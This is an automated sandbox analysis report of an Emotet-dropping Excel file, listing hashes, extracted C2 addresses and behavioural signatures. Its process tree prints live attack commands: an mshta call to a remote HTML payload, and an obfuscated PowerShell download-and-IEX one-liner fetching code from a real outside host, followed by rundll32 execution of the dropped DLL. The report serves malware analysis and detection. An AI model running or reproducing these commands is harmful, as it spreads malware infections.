Analysis
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max time kernel
118s -
max time network
150s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 03:28
Behavioral task
behavioral1
Sample
6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls
Resource
win10-en-20211208
General
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Target
6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls
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Size
155KB
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MD5
877a38825398e9be7d9c3eaea352b392
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SHA1
df43374b9233eaa46203a6875a6379d2e3960027
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SHA256
6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4
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SHA512
3835a242494de6c5b67eb2c586599a7356d1c704e7518f69c51fb4a36d1e6c66bd86f5a94288fad6a98310302481f593348d173260dd6ad5dc535d04fbb8fcdf
Malware Config
Extracted
http://91.240.118.168/qqqw/aaas/se.html
Extracted
http://91.240.118.168/qqqw/aaas/se.png
Extracted
emotet
Epoch5
159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2256 2648 cmd.exe EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 7 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 17 3316 mshta.exe 20 1912 powershell.exe 30 1912 powershell.exe 34 1912 powershell.exe 35 1912 powershell.exe 55 3264 rundll32.exe 56 3264 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 3584 rundll32.exe 3664 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Dphiccsckdmfcd\iezoxllwcy.omf rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3200 3316 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2648 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 1912 powershell.exe 1912 powershell.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 3200 WerFault.exe 1912 powershell.exe 3264 rundll32.exe 3264 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 1912 powershell.exe Token: SeDebugPrivilege 3200 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE 2648 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2648 wrote to memory of 2256 2648 EXCEL.EXE cmd.exe PID 2648 wrote to memory of 2256 2648 EXCEL.EXE cmd.exe PID 2256 wrote to memory of 3316 2256 cmd.exe mshta.exe PID 2256 wrote to memory of 3316 2256 cmd.exe mshta.exe PID 3316 wrote to memory of 1912 3316 mshta.exe powershell.exe PID 3316 wrote to memory of 1912 3316 mshta.exe powershell.exe PID 1912 wrote to memory of 3612 1912 powershell.exe cmd.exe PID 1912 wrote to memory of 3612 1912 powershell.exe cmd.exe PID 3612 wrote to memory of 3584 3612 cmd.exe rundll32.exe PID 3612 wrote to memory of 3584 3612 cmd.exe rundll32.exe PID 3612 wrote to memory of 3584 3612 cmd.exe rundll32.exe PID 3584 wrote to memory of 3664 3584 rundll32.exe rundll32.exe PID 3584 wrote to memory of 3664 3584 rundll32.exe rundll32.exe PID 3584 wrote to memory of 3664 3584 rundll32.exe rundll32.exe PID 3664 wrote to memory of 1512 3664 rundll32.exe rundll32.exe PID 3664 wrote to memory of 1512 3664 rundll32.exe rundll32.exe PID 3664 wrote to memory of 1512 3664 rundll32.exe rundll32.exe PID 1512 wrote to memory of 3264 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 3264 1512 rundll32.exe rundll32.exe PID 1512 wrote to memory of 3264 1512 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/qqqw/aaas/se.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\system32\mshta.exemshta http://91.240.118.168/qqqw/aaas/se.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3316 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD5⤵
- Suspicious use of WriteProcessMemory
PID:3612 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dphiccsckdmfcd\iezoxllwcy.omf",vDIZ8⤵
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dphiccsckdmfcd\iezoxllwcy.omf",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3264 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3316 -s 16524⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3200
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
709450435568cefded921b40de21446a
SHA1b40851f1f572107372f709d54c16814fed28c2c2
SHA2567b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9
SHA5121563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a
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\ProgramData\QWER.dllMD5
709450435568cefded921b40de21446a
SHA1b40851f1f572107372f709d54c16814fed28c2c2
SHA2567b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9
SHA5121563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a
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\ProgramData\QWER.dllMD5
709450435568cefded921b40de21446a
SHA1b40851f1f572107372f709d54c16814fed28c2c2
SHA2567b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9
SHA5121563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a
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memory/1512-607-0x00000000007B0000-0x00000000007D7000-memory.dmpFilesize
156KB
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memory/1912-341-0x000001FF338A0000-0x000001FF338DC000-memory.dmpFilesize
240KB
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memory/1912-360-0x000001FF33DB0000-0x000001FF33E26000-memory.dmpFilesize
472KB
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memory/1912-504-0x000001FF1B466000-0x000001FF1B468000-memory.dmpFilesize
8KB
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memory/1912-271-0x000001FF336F0000-0x000001FF33712000-memory.dmpFilesize
136KB
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memory/1912-295-0x000001FF1B460000-0x000001FF1B462000-memory.dmpFilesize
8KB
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memory/1912-296-0x000001FF1B463000-0x000001FF1B465000-memory.dmpFilesize
8KB
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memory/2648-121-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-124-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-132-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmpFilesize
64KB
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memory/2648-131-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmpFilesize
64KB
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memory/2648-120-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-119-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-657-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-656-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-655-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-654-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/2648-118-0x00007FF879910000-0x00007FF879920000-memory.dmpFilesize
64KB
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memory/3264-622-0x0000000004FB0000-0x0000000004FD7000-memory.dmpFilesize
156KB
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memory/3264-624-0x00000000050A0000-0x00000000050C7000-memory.dmpFilesize
156KB
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memory/3264-632-0x00000000054E0000-0x0000000005507000-memory.dmpFilesize
156KB
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memory/3264-610-0x0000000003080000-0x00000000030A7000-memory.dmpFilesize
156KB
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memory/3264-612-0x0000000004990000-0x00000000049B7000-memory.dmpFilesize
156KB
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memory/3264-620-0x0000000004ED0000-0x0000000004EF7000-memory.dmpFilesize
156KB
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memory/3264-630-0x0000000005460000-0x0000000005487000-memory.dmpFilesize
156KB
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memory/3264-628-0x0000000005270000-0x0000000005297000-memory.dmpFilesize
156KB
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memory/3264-626-0x0000000005180000-0x00000000051A7000-memory.dmpFilesize
156KB
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memory/3664-608-0x00000000058E0000-0x0000000005907000-memory.dmpFilesize
156KB
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memory/3664-603-0x00000000056A0000-0x00000000056C7000-memory.dmpFilesize
156KB
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memory/3664-605-0x0000000005700000-0x0000000005727000-memory.dmpFilesize
156KB
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memory/3664-601-0x0000000005640000-0x0000000005667000-memory.dmpFilesize
156KB
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memory/3664-599-0x0000000005560000-0x0000000005587000-memory.dmpFilesize
156KB
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memory/3664-597-0x0000000005480000-0x00000000054A7000-memory.dmpFilesize
156KB
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memory/3664-594-0x0000000003540000-0x0000000003567000-memory.dmpFilesize
156KB